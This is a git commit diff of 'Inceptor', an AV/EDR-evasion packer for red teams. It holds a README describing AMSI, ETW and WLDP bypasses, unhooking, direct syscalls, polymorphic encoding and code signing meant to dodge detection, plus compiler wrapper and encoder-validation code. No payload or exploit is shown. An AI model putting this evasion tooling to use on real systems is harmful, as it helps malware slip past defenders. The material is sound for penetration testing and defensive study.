First Public Release

This commit is contained in:
d3adc0de 2021-08-02 16:43:03 +01:00
commit f9b767dab7
246 changed files with 150145 additions and 0 deletions

7
.gitignore vendored Normal file
View File

@ -0,0 +1,7 @@
venv
drop
build
dist
*.spec
.idea
!metrics/cloc.exe

3
.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "inceptor/obfuscators/powershell/chameleon"]
path = inceptor/obfuscators/powershell/chameleon
url = git@github.com:klezVirus/chameleon.git

27
LICENSE Normal file
View File

@ -0,0 +1,27 @@
Copyright (c) 2021, Alessandro Magnosi (d3adc0de)
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. All advertising materials mentioning features or use of this software
must display the following acknowledgement:
This product includes software developed by Alessandro Magnosi (d3adc0de).
4. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ''AS IS'' AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

337
README.md Normal file
View File

@ -0,0 +1,337 @@
<h1 align="center">
<br>
<img src=./images/inceptor-logo.png >
<br>
</h1>
# Table of content
* [Overview](#overview)
* [Installation](#installation)
* [Usage](#usage)
## News
NW: We're currently working to improve the template engine! As soon as we release the next version, instructions on how
to use, customize, and extend the tool, will be available in the [Wiki][13].
## Overview
Modern Penetration testing and Red Teaming often requires to bypass common AV/EDR appliances in order to execute code
on a target. With time, defenses are becoming more complex and inherently more difficult to bypass consistently.
Inceptor is a tool which can help to automate great part of this process, hopefully requiring no further effort.
## Features
Inceptor is a template-based PE packer for Windows, designed to help penetration testers and red teamers to bypass
common AV and EDR solutions. Inceptor has been designed with a focus on usability, and to allow extensive user
customisation.
To have a good overview of what it was implemented and why, it might be useful to tak a look to the following resources:
* [The path to code execution in the era of EDR, Next-Gen AVs, and AMSI](https://klezvirus.github.io/RedTeaming/AV_Evasion/CodeExeNewDotNet/)
* [Inceptor - Bypass AV-EDR solutions combining well known techniques](https://github.com/klezVirus/inceptor/blob/main/slides/Inceptor%20-%20Bypass%20AV-EDR%20solutions%20combining%20well%20known%20techniques.pdf)
### Shellcode Transformation/Loading
Inceptor is able to convert existing EXE/DLL into shellcode using various open-source converters:
* [Donut](https://github.com/TheWover/donut): Donut is "The Converter". This tool is more like a piece of art by [TheWover][3],
and can be used to transform Native binaries, DLL, and .Net binaries into position independent code shellcode.
* [sRDI](https://github.com/monoxgas/sRDI): By [Monoxgas][4], this tool can convert existing naticcve DLL into PIC, which can then be injected as regular shellcode.
* [Pe2Sh](https://github.com/hasherezade/pe_to_shellcode): By [Hasherazade][5], this tool can convert an existing native
EXE into PIC shellcode, which can also be run as a normal EXE.
### LI Encoders vs LD Encoders
Inceptor can encode, compress, or encrypt shellcode using different means. While developing the tool, I started differentiating
between what I call loader-independent (LI) encoding, and loader-dependent (LD) encoding.
Loader-independent encoding is a type of encoding not managed by the template chosen by the user (loader). This usually
means that the decoding stub is not part of the template, but embedded in the shellcode itself.
Inceptor offers this kind of feature using the open-source tool [sgn](https://github.com/EgeBalci/sgn), which is used to
make the payload polymorphic and undetectable using common signature detection.
Even strong at it is, Shikata-Ga-Nai is not really suitable for certain templates. For this reason,
Inceptor also implements Loader-dependent encoders, which are designed to let the loader taking care of
the decoding. As such, LD encoders install the decoding stub directly in the template.
This kind of encoders, as implemented within Inceptor, are also "Chainable", meaning they can be chained together to
encode a payload.
While using a chain of encoders can sometimes improve the obfuscation of a given payload,
this technique can also expose multiple decoding routines, which can help Defenders to design
signatures against them. For this reason, Inceptor offers multiple ways to obfuscate the final
artifacts, hardening the RE process.
At the time of writing, the public version of Inceptor has been provided with the following encoders/compressors/encryptors:
- Native
* Xor
* Nop (Insertion)
- .NET
* Hex
* Base64
* Xor
* Nop (Insertion)
* AES
* Zlib
* RLE
- PowerShell
* Hex
* Base64
* Xor
* Nop (Insertion)
* AES
Inceptor can validate an encoding chain both statically and dynamically, statically checking the decoders'
input/output types, and also dynamically verifying the implementation with an independent implementation.
At any time, a user can easily validate a chain using the `chain-validate.py` utility.
### AV Evasion Mechanisms
Inceptor also natively implements AV Evasion mechanisms, and as such, it offers the possibility to include AV evasion
features to the payload in the form of "modules" (plugins).
The plugins which can be embedded are:
* [x] AMSI bypass
* [x] WLDP bypass
* [x] ETW bypass
* [x] Sandbox (Behavioural) Deception
### EDR Evasion Mechanisms
Inceptor also implements EDR Evasion mechanisms, such as full unhooking, direct syscall invocation and manual DLL mapping.
Direct Syscalls are implemented in C# using the outstanding "[DInvoke][9]" project,
again by [TheWover][1].
In C/C++, Syscalls are implemented using [SysWhispers][7] and [SysWhispers2][8] projects, by [Jackson_T][6]. In addition,
Inceptor has built-in support for x86 Syscalls as well.
As the AV bypass features, these features can be enabled as modules, with the only difference that they require
operating on a template which supports them. The techniques implemented so far are:
* [x] Full Unhooking
* [x] Manual DLL Mapping
* [x] Direct Syscalls
### Obfuscation
Inceptor supports payload obfuscation by using external utils, such as [ConfuserEx](https://github.com/mkaring/ConfuserEx)
and [Chameleon](https://github.com/klezVirus/chameleon), and provides support for C/C++ obfuscation using [LLVM-Obfuscator](https://github.com/klezVirus/obfuscator), which
is an IR-based obfuscator using the LLVM compilation platform.
- [x] PowerShell
- [x] C#
- [x] C/C++
### Code Signing
Another feature of Inceptor is that it can code sign the resulting binary/dll by using the tool [CarbonCopy][10]
Usually, files signed with code signing certificates are less strictly analysed. Many anti-malware products
don't validate/verify these certificates.
### Workflow
The full workflow can be summarized in the following high-level, and simplified scheme:
![Workflow](./images/workflow.png)
<!-- install -->
## Installation
Inceptor has been designed to work on Windows. The `update-config.py` utility can locate the required Microsoft binaries
and update the configuration accordingly. It might be required to install Microsoft Build Tools, the Windows SDK,
and Visual Studio, `update-config.py` will guide the user on how to install the required dependencies.
```
git clone --recurse https://github.com/klezVirus/inceptor.git
cd inceptor
virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements.txt
cd inceptor
python update-config.py
```
<!-- installstop -->
## Useful Notes
#### Default Loaders
The current version of Inceptor locates a specific template using a simple naming convention (don't change template names),
and the set of arguments given by the user. Among the arguments, there is also the loader (-t). If not specified, the loader
will be picked-up as a function of the file to pack, following this simple schema:
```
$ python inceptor.py -hh
[*] Default Loaders
Input File Extension SpecialCondition Guessed Filetype Default Loader Default Template
0 .raw NaN Shellcode Simple Loader Classic
1 .exe .NET Dotnet Executable Donut Classic
2 .exe NaN Native Executable Pe2Shellcode PE Load
3 .dll NaN Native Library sRDI Classic
```
#### Template name convention
It's very important to understand also the template name convention, to avoid misinterpreting an artifact behaviour.
* Classic: a classic template usually means it uses the VirtualAlloc/VirtualAllocEx and CreateThread/CreateRemoteThread
API to allocate and execute arbitrary code
* Dinvoke: if a template contains only dinvoke (e.g classic-dinvoke.cs), it means it uses dynamic function resolution
feature of dinvoke
* dinvoke-_subtechnique_: a template containing dinvoke followed by another keyword is using a particular feature of
dinvoke, like manual_mapping, overload_mapping, or syscalls
* Syscalls: as the name suggest, this template is using syscalls
* PE Load: this template tries to map a full PE into memory, without transforming it
* Assembly Load: this template tries to execute a .NET assembly using reflection
<!-- usage -->
## Usage
```
$ usage: inceptor.py [-h] [-hh] [-Z] {native,dotnet,powershell} ...
inceptor: A Windows-based PE Packing framework designed to help
Red Team Operators to bypass common AV and EDR solutions
positional arguments:
{native,dotnet,powershell}
native Native Binaries Generator
dotnet .NET Binaries Generator
powershell PowerShell Wrapper Scripts Generator
optional arguments:
-h, --help show this help message and exit
-hh Show functional table
-Z, --check Check file against ThreatCheck
```
<!-- usagestop -->
<!-- dotnet -->
### .NET Artifacts
```sh-session
$ python inceptor.py dotnet <shellcode-file|binary-file> [OPTIONS]
optional arguments:
-h, --help show this help message and exit
-t {loader,donut,pe2sh,srdi}, --transformer {loader,donut,pe2sh,srdi}
Shellcode Transformer
-m MODULES, --modules MODULES
Modules to use (dinvoke, syscalls, amsi...)
-O, --obfuscate Obfuscate the C# loader
-P, --pinject Use a process injection template
-P0 PROCESS, --process PROCESS
Inject into a specific process (Image Name)
-e ENCODER, --encoder ENCODER
Encoder(s) to be used
-a COMPILER_ARGS, --compiler-args COMPILER_ARGS
Compiler arguments
-C {csc}, --compiler {csc}
Compiler to use
-p PARAMS, --params PARAMS
Params to pass to the wrapped .NET executable
--arch {x86,x64,anycpu,anycpu-x86,anycpu-x64}
Target Architecture
--sgn Uses Shikata-Ga-Nai as assembly encoder
--sign Sign the binary with CarbonCopy
-o OUTFILE, --outfile OUTFILE
Name of the generated .NET executable
--delay DELAY Add a delay of n seconds before execution (requires Delay module)
```
<!-- dotnetstop -->
<!-- native -->
### Native Artifacts
```sh-session
$ python inceptor.py native <shellcode-file|binary-file> [OPTIONS]
positional arguments:
binary Binary file to convert (EXE or RAW for Vanilla Injection)
positional arguments:
binary Binary file to convert (EXE or RAW for Vanilla Injection)
optional arguments:
-h, --help show this help message and exit
-t {loader,pe2sh,donut,srdi}, --transformer {loader,pe2sh,donut,srdi}
Compiler arguments
-C {cl,clang,llvm}, --compiler {cl,clang,llvm}
Compiler to use
-a COMPILER_ARGS, --compiler-args COMPILER_ARGS
Compiler arguments
--exports EXPORTS Definition file with DLL exported function
-e ENCODER, --encoder ENCODER
Encoder(s) to be used
-o OUTFILE, --outfile OUTFILE
Name of the generated Native executable
-m MODULES, --modules MODULES
Modules to use (dinvoke, syscalls, unhook...)
-P, --pinject Use a process injection template
-P0 PROCESS, --process PROCESS
Inject into a specific process (Image Name)
--arch {x86,x64} Architecture
--sgn Uses Shikata-Ga-Nai as assembly encoder
--sign Sign the loader with CarbonCopy
-O, --obfuscate Obfuscate the native loader (same as -C llvm)
--dll If set, generates a wrapper DLL
--delay DELAY Add a delay of n seconds before execution
```
<!-- nativestop -->
<!-- powershell -->
### PowerShell Artifacts
```sh-session
$ python inceptor.py powershell <shellcode-file|binary-file> [OPTIONS]
positional arguments:
binary Binary file to convert (.NET exe to perform Reflective Loading or RAW for Vanilla Injection)
optional arguments:
-h, --help show this help message and exit
-m MODULES, --modules MODULES
Modules to use (amsi, delay...)
-o OUTFILE, --outfile OUTFILE
Name of the generated .NET executable
-t {loader,donut,pe2sh,srdi}, --transformer {loader,donut,pe2sh,srdi}
Shellcode Transformer
-e ENCODER, --encoder ENCODER
Encoder(s) to be used
--delay DELAY Add a delay of n seconds before execution
-O, --obfuscate Obfuscate the PowerShell Wrapper
--arch {x86,x64} Architecture
--sgn Uses Shikata-Ga-Nai as assembly encoder
-P, --pinject Use a process injection template
-P0 PROCESS, --process PROCESS
Inject into a specific process (Image Name)
```
<!-- powershellstop -->
## Next Developments
* New Template Engine
* New Templates
* New Encoders
* C# Code-Based obfuscation
## Resources
* [Inceptor - Bypass AV-EDR solutions combining well known techniques](https://github.com/klezVirus/inceptor/blob/main/slides/Inceptor%20-%20Bypass%20AV-EDR%20solutions%20combining%20well%20known%20techniques.pdf)
* [A tale of EDR bypass methods](https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods)
[1]: https://github.com/phra/PEzor
[2]: https://github.com/forrest-orr/artifacts-kit
[3]: https://twitter.com/TheRealWover
[4]: https://twitter.com/monoxgas
[5]: https://twitter.com/hasherezade
[6]: https://twitter.com/Jackson_T
[7]: https://github.com/jthuraisamy/SysWhispers
[8]: https://github.com/jthuraisamy/SysWhispers2
[9]: https://github.com/TheWover/DInvoke
[10]: https://github.com/paranoidninja/CarbonCopy
[11]: https://twitter.com/phraaaaaaa
[12]: https://twitter.com/_ForrestOrr
[13]: https://github.com/klezVirus/inceptor.git

5
build.bat Normal file
View File

@ -0,0 +1,5 @@
@echo off
pip install pyinstaller
pyinstaller --onefile inceptor\inceptor.py
del inceptor.spec > NUL
del /S /Q /F build > NUL

BIN
images/inceptor-logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

BIN
images/workflow.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

11
inceptor/.gitignore vendored Normal file
View File

@ -0,0 +1,11 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
wiki
*.json
*.7z
.idea
temp
certs/**

3
inceptor/.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "obfuscators/powershell/chameleon"]
path = obfuscators/powershell/chameleon
url = git@github.com:klezVirus/chameleon.git

127
inceptor/chain-validate.py Normal file
View File

@ -0,0 +1,127 @@
#!/usr/bin/env python
import os
import subprocess
import sys
import argparse
import secrets
import tempfile
import time
from pathlib import Path
from compilers.ClCompiler import ClCompiler
from compilers.CscCompiler import CscCompiler
from config.Config import Config
from converters.Loader import Loader
from encoders.EncoderChain import EncoderChain
from engine.CodeWriter import CodeWriter
from engine.component.TemplateModuleComponent import TemplateModuleComponent
from engine.modules.TemplateModule import TemplateModule
from enums.Language import Language
from generators.DotNetArtifactGenerator import DotNetArtifactGenerator
from generators.NativeArtifactGenerator import NativeArtifactGenerator
from generators.PowerShellArtifactGenerator import PowerShellArtifactGenerator
from utils.utils import isDotNet, get_project_root
def clean(files):
for file in files:
try:
os.unlink(file)
except:
pass
base_paths = [get_project_root(), os.path.join(get_project_root(), "temp")]
wildcards = ["*.obj", "*.exp", "*.lib", "*.pdb", "*.shc.exe", "*.bin", "*.raw"]
for base_path in base_paths:
for wildcard in wildcards:
cmd = f"del /F /Q \"{os.path.join(base_path, wildcard)}\""
subprocess.call(cmd, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if __name__ == '__main__':
os.system('color')
parser = argparse.ArgumentParser(description='chain-validate: inceptor chain validator', add_help=True)
parser.add_argument(
'-l', '--lang', required=True, type=str, action="append", choices=["cpp", "cs", "ps"], default=None,
help='Language')
parser.add_argument(
'-e', '--encoder', action='append', required=True, default=None, help='Encoder(s) to be used')
args = parser.parse_args()
chain = EncoderChain.from_list(args.encoder)
shellcode = secrets.token_bytes(64)
languages = [Language.CPP, Language.CSHARP, Language.POWERSHELL]
if args.lang:
languages = []
for lang in args.lang:
languages.append(Language.from_string(label=lang))
outfiles = []
for lang in languages:
outfile = tempfile.NamedTemporaryFile(dir=Config().get_path("DIRECTORIES", "WRITER"), suffix=".bin",
delete=False).name
outfiles.append(outfile)
print(f"[*] Validating encoder chain for {lang.name}")
if not chain.validate(language=lang):
print("[-] Failed to validate chain")
continue
template_dir = Config().get_path("DIRECTORIES", "TEST")
c_outfile = outfile.replace("\\", "\\\\")
compiler = None
compiled_file = tempfile.NamedTemporaryFile(suffix=".exe", delete=False).name
if lang == Language.CPP:
f_component = TemplateModuleComponent(placeholder="####FILE####", code=f"\"{c_outfile}\";", trail=False)
compiler = ClCompiler()
compiler.default_exe_args(outfile=compiled_file)
template_path = template_dir.joinpath("test.cpp")
f_component.use_c_placeholder()
elif lang == Language.CSHARP:
f_component = TemplateModuleComponent(placeholder="####FILE####", code=f"\"{c_outfile}\";")
compiler = CscCompiler()
compiler.default_exe_args(outfile=compiled_file)
template_path = template_dir.joinpath("test.cs")
else:
f_component = TemplateModuleComponent(placeholder="####FILE####", code=f"\"{c_outfile}\";")
template_path = template_dir.joinpath("test.ps1")
f_component.use_ps_placeholder()
writer = CodeWriter(template=str(template_path.absolute()), language=lang)
writer.template.add_module(TemplateModule(name="FileModule", components=[f_component]))
writer.load_chain(chain=chain)
encoded = chain.encode(shellcode)
writer.write_source(shellcode=encoded)
if compiler:
compiler.set_libraries(libs=writer.template.libraries)
compiler.compile([writer.outfile])
else:
compiled_file = writer.outfile
if not os.path.isfile(compiled_file):
print("[-] Error generating encoder file")
sys.exit(1)
loader = Loader()
cmd = compiled_file
if lang == Language.POWERSHELL:
cmd = f"powershell .\\temp\\{Path(compiled_file).name}"
time.sleep(2)
try:
output = subprocess.check_output(f"{cmd}")
except subprocess.CalledProcessError:
print("[-] Failed to execute test")
sys.exit(1)
if not os.path.isfile(outfile):
raise FileNotFoundError("Error generating test file")
transformed = loader.transform(outfile)
if shellcode == transformed:
print("[+] Encoder chain working!")
writer.clean()
elif shellcode in transformed:
print("[!] Warning, identified garbage at the end of the transformed shellcode")
print("[+] Encoder chain working!")
writer.clean()
else:
print("[-] Encoder chain broken!")
print(f" [*] File: {loader.transform(outfile)}")
print(f" [*] Shellcode: {shellcode}")
clean([compiled_file] + outfiles)

View File

@ -0,0 +1,149 @@
import os
import re
import subprocess
from compilers.Compiler import Compiler
from config.Config import Config
class ClCompiler(Compiler):
def __init__(self, args=None, aargs=None, arch="x64"):
self.config = Config()
self.vcvarsall = self.config.get_path("COMPILERS", "VCVARSALL")
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
self.prefix_cmd = f'"{self.vcvarsall}" {self.arch}'
def format_libraries(self, libraries: list = None):
if not libraries or not isinstance(libraries, list):
libraries = []
libraries = libraries + self.std_library()
return " ".join([f'"{lib}"' for lib in libraries])
def std_library(self):
return ["kernel32.lib",
"user32.lib",
"gdi32.lib",
"winspool.lib",
"comdlg32.lib",
"advapi32.lib",
"shell32.lib",
"ole32.lib",
"oleaut32.lib",
"uuid.lib",
"odbc32.lib",
"odbccp32.lib"]
def default_dll_args(self, outfile):
self.args = {
"/permissive-": None,
"/GS": None,
"/GL": None,
"/W3": None,
"/Gy": None,
"/Zi": None,
"/Gm-": None,
"/O2": None,
"/sdl": None,
"/Zc:inline": None,
"/Zc:wchar_t": None,
"/fp": "precise",
"/D \"BUILD_DLL\"": None,
"/D \"NDEBUG\"": None,
"/D \"SAGAT_EXPORTS\"": None,
"/D \"_WINDOWS\"": None,
"/D \"_WINDLL\"": None,
"/D \"_USRDLL\"": None,
"/D \"_UNICODE\"": None,
"/D \"UNICODE\"": None,
"/errorReport": "prompt",
"/WX-": None,
"/Zc": "forScope",
"/Gd": None,
"/Oi": None,
"/MD": None,
"/FC": None,
"/EHsc": None,
"/nologo": None,
"/diagnostics": "column",
"/LD": None,
"/Fe": f'"{outfile}"'
}
def default_exe_args(self, outfile):
self.args = {
"/permissive-": None,
"/GS": None,
"/GL": None,
"/W3": None,
"/Gy": None,
"/Zi": None,
"/Gm-": None,
"/O2": None,
"/sdl": None,
"/Zc:inline": None,
"/Zc:wchar_t": None,
"/fp": "precise",
"/D \"NDEBUG\"": None,
"/D \"_CONSOLE\"": None,
"/D \"_UNICODE\"": None,
"/D \"UNICODE\"": None,
"/errorReport": "prompt",
"/WX-": None,
"/Zc": "forScope",
"/Gd": None,
"/Oi": None,
"/MD": None,
"/FC": None,
"/EHsc": None,
"/nologo": None,
"/diagnostics": "column",
"/Fe": f'"{outfile}"'
}
def default_obj_args(self, outfile):
self.args = {
"/permissive-": None,
"/GS": None,
"/GL": None,
"/W3": None,
"/Gy": None,
"/Zi": None,
"/Gm-": None,
"/O2": None,
"/sdl": None,
"/Zc:inline": None,
"/Zc:wchar_t": None,
"/fp": "precise",
"/D \"BUILD_DLL\"": None,
"/D \"NDEBUG\"": None,
"/D \"SAGAT_EXPORTS\"": None,
"/D \"_WINDOWS\"": None,
"/D \"_WINDLL\"": None,
"/D \"_USRDLL\"": None,
"/D \"_UNICODE\"": None,
"/D \"UNICODE\"": None,
"/errorReport": "prompt",
"/WX-": None,
"/Zc": "forScope",
"/Gd": None,
"/Oi": None,
"/MD": None,
"/FC": None,
"/EHsc": None,
"/nologo": None,
"/diagnostics": "column",
"/LD": None,
"/Fo": f'"{outfile}"'
}
def add_include_directory(self, directory):
self.args[f'/I "{directory}"'] = None
def set_libraries(self, libs: list):
self.set_linker_options(libraries=libs)
def set_linker_options(self, outfile=None, libraries: list = None):
self.aargs = f'/link /DYNAMICBASE {self.format_libraries(libraries=libraries)}'
if outfile:
self.aargs += f' /OUT "{outfile}"'

View File

@ -0,0 +1,156 @@
import os
import re
import subprocess
from compilers.Compiler import Compiler
from config.Config import Config
class ClangCompiler(Compiler):
def __init__(self, args=None, aargs=None, arch="x64"):
self.config = Config()
self.vcvarsall = self.config.get_path("COMPILERS", "VCVARSALL")
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
self.prefix_cmd = f'"{self.vcvarsall}" {self.arch}'
def format_libraries(self, libraries: list = None):
if not libraries or not isinstance(libraries, list):
libraries = []
libraries = libraries + self.std_library()
return " ".join([f'"{lib}"' for lib in libraries])
def std_library(self):
return ["kernel32.lib",
"user32.lib",
"gdi32.lib",
"winspool.lib",
"comdlg32.lib",
"advapi32.lib",
"shell32.lib",
"ole32.lib",
"oleaut32.lib",
"uuid.lib",
"odbc32.lib",
"odbccp32.lib"]
def default_dll_args(self, outfile):
default_cl_args = {
"/permissive-": None,
"/GS": None,
"/GL": None,
"/W3": None,
"/Gy": None,
"/Zi": None,
"/Gm-": None,
"/O2": None,
"/sdl": None,
"/Zc:inline": None,
"/Zc:wchar_t": None,
"/fp": "precise",
"/D \"BUILD_DLL\"": None,
"/D \"NDEBUG\"": None,
"/D \"SAGAT_EXPORTS\"": None,
"/D \"_WINDOWS\"": None,
"/D \"_WINDLL\"": None,
"/D \"_USRDLL\"": None,
"/D \"_UNICODE\"": None,
"/D \"UNICODE\"": None,
"/errorReport": "prompt",
"/WX-": None,
"/Zc": "forScope",
"/Gd": None,
"/Oi": None,
"/MD": None,
"/FC": None,
"/EHsc": None,
"/nologo": None,
"/diagnostics": "column",
"/LD": None,
"-w": None,
f'-o "{outfile}"': None
}
self.args = default_cl_args
def default_exe_args(self, outfile):
default_cl_args = {
"/permissive-": None,
"/GS": None,
"/GL": None,
"/W3": None,
"/Gy": None,
"/Zi": None,
"/Gm-": None,
"/O2": None,
"/sdl": None,
"/Zc:inline": None,
"/Zc:wchar_t": None,
"/fp": "precise",
"/D \"NDEBUG\"": None,
"/D \"_CONSOLE\"": None,
"/D \"_UNICODE\"": None,
"/D \"UNICODE\"": None,
"/errorReport": "prompt",
"/WX-": None,
"/Zc": "forScope",
"/Gd": None,
"/Oi": None,
"/MD": None,
"/FC": None,
"/EHsc": None,
"/nologo": None,
"/diagnostics": "column",
"-w": None,
f'-o "{outfile}"': None
}
self.args = default_cl_args
def default_obj_args(self, outfile):
self.args = {
"/permissive-": None,
"/GS": None,
"/GL": None,
"/W3": None,
"/Gy": None,
"/Zi": None,
"/Gm-": None,
"/O2": None,
"/sdl": None,
"/Zc:inline": None,
"/Zc:wchar_t": None,
"/fp": "precise",
"/D \"BUILD_DLL\"": None,
"/D \"NDEBUG\"": None,
"/D \"SAGAT_EXPORTS\"": None,
"/D \"_WINDOWS\"": None,
"/D \"_WINDLL\"": None,
"/D \"_USRDLL\"": None,
"/D \"_UNICODE\"": None,
"/D \"UNICODE\"": None,
"/errorReport": "prompt",
"/WX-": None,
"/Zc": "forScope",
"/Gd": None,
"/Oi": None,
"/MD": None,
"/FC": None,
"/EHsc": None,
"/nologo": None,
"/diagnostics": "column",
"/LD": None,
"/c": None,
f'/Fo"{outfile}"': None
}
def add_include_directory(self, directory):
self.args[f'/I "{directory}"'] = None
def set_libraries(self, libs: list):
self.set_linker_options(libraries=libs)
def set_linker_options(self, outfile=None, libraries: list = None):
self.aargs = f'/link /DYNAMICBASE {self.format_libraries(libraries=libraries)}'
if outfile:
self.aargs += f' /OUT "{outfile}"'

View File

@ -0,0 +1,84 @@
import os
import re
import subprocess
import sys
import traceback
from abc import ABC, abstractmethod
from pydoc import locate
from config.Config import Config
class CompilerException(Exception):
pass
class Compiler(ABC):
def __init__(self, path: str = None, args: dict = None, sep=":", aargs=None, arch="x64"):
self.name = self.__class__.__name__.upper().replace("COMPILER", "")
self.arch = arch
if arch == "anycpu":
arch = "x86"
if path:
self.path = path
else:
self.path = Config().get("COMPILERS", f"{self.name}{arch}_COMPILER")
self.prefix_cmd = None
self.suffix_cmd = None
self.args = args if args else {}
self.aargs = ""
self.sep = sep
if aargs:
self.aargs = aargs
@abstractmethod
def set_libraries(self, libs: list):
pass
@abstractmethod
def add_include_directory(self, directory):
pass
def compile(self, files: list):
file_arg = ""
for file in files:
if not os.path.isfile(file):
print(f"[-] Compiler: File {file} not found")
else:
file_arg += f" \"{file}\""
try:
args = ""
for k in self.args.keys():
args += f" {k}{self.sep}{self.args[k]}" if self.args[k] is not None else f" {k}"
cmd = f"\"{self.path}\" {args} {file_arg}"
if self.aargs:
cmd = f"{cmd} {self.aargs}"
if self.prefix_cmd:
cmd = f"{self.prefix_cmd} & {cmd}"
if self.suffix_cmd:
cmd = f"{cmd} & {self.suffix_cmd}"
if Config().get_boolean("DEBUG", "COMPILERS"):
print(cmd)
output = subprocess.check_output(cmd)
# print(output.decode())
except subprocess.CalledProcessError as e:
for line in e.output.decode().split("\n"):
if re.search(r"error", line):
print(f" [-] Error: {line}")
raise Exception("Compiler Error")
return False
return True
@staticmethod
def from_name(name: str, args=None, aargs=None, arch="x64"):
try:
obfuscator_class_string = f"compilers.{name.capitalize()}Compiler.{name.capitalize()}Compiler"
# print(obfuscator_class_string)
obfuscator_class = locate(obfuscator_class_string)
# print(obfuscator_class)
obfuscator_instance = obfuscator_class(args=args, aargs=aargs, arch=arch)
return obfuscator_instance
except:
traceback.print_exc()
pass

View File

@ -0,0 +1,43 @@
from compilers.Compiler import Compiler
from config.Config import Config
class CscCompiler(Compiler):
def add_include_directory(self, directory):
pass
def __init__(self, args=None, aargs=None, arch="x64"):
self.config = Config()
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
if not self.args:
self.args = {}
def default_exe_args(self, outfile):
self.args = {
"/platform": self.arch,
"/unsafe": None,
"/out": f'"{outfile}"'
}
def default_dll_args(self, outfile):
self.args = {
"/target": "library",
"/platform": self.arch,
"/unsafe": None,
"/out": f'"{outfile}"'
}
# "/optimize-": None,
def set_outfile(self, outfile):
self.args["/out"] = f'"{outfile}"'
def set_architecture(self, arch):
self.args["/platform"] = arch
def set_libraries(self, libs: list):
if len(libs) > 0:
for lib in libs:
self.args[f'/res:"{lib}"'] = None
self.args["/r"] = ",".join([f'"{lib}"' for lib in libs])

View File

@ -0,0 +1,19 @@
import os
from compilers.Compiler import Compiler
from config.Config import Config
from utils.utils import *
class ILPacker(Compiler):
def add_include_directory(self, directory):
pass
def __init__(self, args=None, aargs=None):
path = str(Config().get_path("DIRECTORIES", "libs").joinpath("ILRepack.exe"))
if not os.path.isfile(path):
raise FileNotFoundError("Missing Packer Executable")
super().__init__(path, args=args, aargs=aargs, sep=":")
def set_libraries(self, libs: list):
pass

View File

@ -0,0 +1,23 @@
import os
import re
import subprocess
from compilers.Compiler import Compiler
from config.Config import Config
class LibCompiler(Compiler):
def __init__(self, args=None, aargs=None, arch="x64"):
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
def default_args(self, outfile):
self.args = {
'/OUT': f"\"{outfile}\""
}
def add_include_directory(self, directory):
pass
def set_libraries(self, libs: list):
pass

View File

@ -0,0 +1,131 @@
import os
import re
import secrets
import subprocess
from compilers.Compiler import Compiler
from config.Config import Config
class LlvmCompiler(Compiler):
def __init__(self, args=None, aargs=None, arch="x64"):
self.config = Config()
self.vcvarsall = self.config.get_path("COMPILERS", "VCVARSALL")
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
self.prefix_cmd = f'"{self.vcvarsall}" {self.arch}'
def format_libraries(self, libraries: list = None):
if not libraries or not isinstance(libraries, list):
libraries = []
libraries = libraries + self.std_library()
return " ".join([f'"{lib}"' for lib in libraries])
def std_library(self):
return ["kernel32.lib",
"user32.lib",
"gdi32.lib",
"winspool.lib",
"comdlg32.lib",
"advapi32.lib",
"shell32.lib",
"ole32.lib",
"oleaut32.lib",
"uuid.lib",
"odbc32.lib",
"odbccp32.lib"]
def default_dll_args(self, outfile):
default_cl_args = {
"/permissive-": None,
"/GS": None,
"/GL": None,
"/W3": None,
"/Gy": None,
"/Zi": None,
"/Gm-": None,
"/O2": None,
"/sdl": None,
"/Zc:inline": None,
"/Zc:wchar_t": None,
"/fp": "precise",
"/D \"BUILD_DLL\"": None,
"/D \"NDEBUG\"": None,
"/D \"SAGAT_EXPORTS\"": None,
"/D \"_WINDOWS\"": None,
"/D \"_WINDLL\"": None,
"/D \"_USRDLL\"": None,
"/D \"_UNICODE\"": None,
"/D \"UNICODE\"": None,
"/errorReport": "prompt",
"/WX-": None,
"/Zc": "forScope",
"/Gd": None,
"/Oi": None,
"/MD": None,
"/FC": None,
"/EHsc": None,
"/nologo": None,
"/diagnostics": "column",
"/LD": None,
f'-o "{outfile}"': None
}
self.args = {**default_cl_args, **self.llvm_args()}
def default_exe_args(self, outfile):
default_cl_args = {
"/permissive-": None,
"/GS": None,
"/GL": None,
"/W3": None,
"/Gy": None,
"/Zi": None,
"/Gm-": None,
"/O2": None,
"/sdl": None,
"/Zc:inline": None,
